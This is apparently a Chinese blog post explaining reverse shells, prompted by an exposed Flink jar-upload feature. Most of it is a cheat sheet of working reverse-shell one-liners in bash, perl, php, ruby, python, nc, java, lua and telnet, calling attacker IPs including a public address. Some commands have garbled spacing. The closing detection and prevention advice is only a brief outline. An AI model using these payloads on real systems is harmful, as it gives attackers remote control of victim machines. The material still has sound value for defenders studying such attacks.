Shell反彈

背景

前段時間因為使用Flink默認配置,沒有禁用通過web上傳jar包提交作業(yè)的功能,同時服務(wù)器配有公網(wǎng)地址,也沒有對相應(yīng)的端口配置防火墻,導(dǎo)致任意用戶可以通過Flink上傳jar包執(zhí)行任務(wù),并伴有反彈shell獲取shell權(quán)限的風(fēng)險。在此總結(jié)一下反彈shell,加深理解。

反彈shell的作用

通常攻擊者在自己的機器去連接目標(biāo)機器(目標(biāo)IP:目標(biāo)機器端口),叫做正向連接。如遠程桌面,web服務(wù),ssh,telnet等等。然而在以下情況時,正向連接不大適用:

1. 某客戶機中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。

2. 它的IP會動態(tài)改變,你不能持續(xù)控制。

3. 由于防火墻等限制,對方機器只能發(fā)送請求,不能接收請求。

4. 對于病毒,木馬,受害者什么時候能中招,對方的網(wǎng)絡(luò)環(huán)境是什么樣的,什么時候開關(guān)機,都是未知,所以建立一個服務(wù)端,讓惡意程序主動連接,才是上策。

那么反彈就很好理解了, 攻擊者指定服務(wù)端,受害者主機主動連接攻擊者的服務(wù)端程序,就叫反彈連接。

反彈shell的本質(zhì)

當(dāng)目標(biāo)機器主動連接攻擊者機器時,要實現(xiàn)對遠程機器的操控,其實就是兩臺機器的通信,本質(zhì)上在目標(biāo)機器上多了對通信信息的執(zhí)行過程。在linux中有各種重定向的功能,目標(biāo)機器通過設(shè)置對通信內(nèi)容進行交互執(zhí)行即完成shell反彈。如下示例:

攻擊機器上執(zhí)行:

nc -lvp 2333

受害機器上執(zhí)行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

bash -i 表示產(chǎn)生交互式的shell,/dev/tcp|udp/ip/port 這個文件是特別特殊的,實際上可以將其看成一個設(shè)備,如果你在一方監(jiān)聽端口的情況下對這個文件進行讀寫,就能實現(xiàn)與監(jiān)聽端口的服務(wù)器的socket通信。

>&表示將標(biāo)準輸出和錯誤輸出都重定向至指定文件,0>&1表示標(biāo)準輸入重定向至標(biāo)準輸出。因此,受害機器上的標(biāo)準輸入將通過/dev/tcp/192.168.146.129/2333文件讀取并執(zhí)行,標(biāo)準輸出和錯誤輸出將寫入/dev/tcp/192.168.146.129/2333文件。完成了shell的反彈效果。

多種反彈shell命令

本機開啟監(jiān)聽:

nc -lvnp 4444

目標(biāo)機器開啟反彈

bash版本:

bash-i >& /dev/tcp/10.0.0.1/4444 0>&1

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

nc -e /bin/sh10.0.0.1 1234

rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e參數(shù):

mknod/tmp/backpipep

/bin/sh0</tmp/backpipe| nc x.x.x.x 4444 1>/tmp/backpipe

?/bin/bash-i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

?mknodbackpipe p && telnet 173.214.173.151 8080 0backpipe

檢測及預(yù)防

檢測shell反彈的總體思路如下:

1. 及時發(fā)現(xiàn)Bash進程啟動事件。

2. 檢查Bash進程是否打開了終端設(shè)備,是否有主動對外連接。

總結(jié)

不管采用何種方式反彈shell都是受害機器主動連接攻擊機器,采用socket進行通信并交互執(zhí)行。受害機器需要配好防火墻,限制端口,防范攻擊者植入反彈shell程序,當(dāng)檢測出漏洞無法確定時及時備份數(shù)據(jù)重裝系統(tǒng)。

參考鏈接

https://xz.aliyun.com/t/2549

http://ijianbian.com/home/post/detail?id=6202977

https://4hou.win/wordpress/?p=25737

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容